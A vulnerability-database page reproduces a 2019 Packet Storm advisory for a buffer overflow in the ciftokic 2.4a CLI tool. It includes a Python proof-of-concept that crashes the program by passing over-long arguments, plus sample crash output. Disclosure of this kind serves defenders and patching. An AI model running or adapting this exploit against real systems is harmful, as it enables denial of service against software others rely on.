Lucene search
K

kic 2.4a Denial Of Service

🗓️ 01 Oct 2019 00:00:00Reported by JosueEncinarType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 129 Views

Ciftokic 2.4a DoS Buffer Overflow in Ubuntu 18.0

Code
`# Exploit Title: Ciftokic 2.4a - DoS Buffer Overflow  
# Date: September 30, 2019  
# Exploit Author: @JosueEncinar  
# Software Link: http://launchpad.net/ubuntu/+source/kic/2.4a-1  
# Version: 2.4a   
# Tested on: Ubuntu 18.04  
  
'''  
If we check the ciftokic.c file on line 52 we see the following code: char CIFFile[81], *Tmp;.   
In line 84 we have the problem with the following instruction: strcpy(CIFFile,argv[1]);  
  
If the first argument is 80 characters or less, nothing happens, but if we put from 81 onwards the program fails with a Buffer Overflow.  
'''  
  
# To test the code use Python 3.6+  
from os import system  
from sys import argv  
  
  
def print_usage():  
print("Usage: python3 ciftokic_overflow.py <characters_numbers>")  
print(" |_No Buffer Overflow: python3 ciftokic_overflow.py 80")  
print(" |_Buffer Overflow: python3 ciftokic_overflow.py 81")  
  
if len(argv) == 1:  
print_usage()  
else:  
try:  
number = int(argv[1])  
payload = "J"*number  
system(f"ciftokic {payload}")  
except:  
print_usage()  
  
  
"""  
  
Output Example:  
  
josue@josue:~/Escritorio$ python3 ciftokic_overflow.py 80  
Error: can't read CIF input file JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ  
josue@josue:~/Escritorio$ python3 ciftokic_overflow.py 81  
*** buffer overflow detected ***: ciftokic terminated  
Aborted (core dumped)  
  
"""  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Oct 2019 00:00Current
7.4High risk
Vulners AI Score7.4
129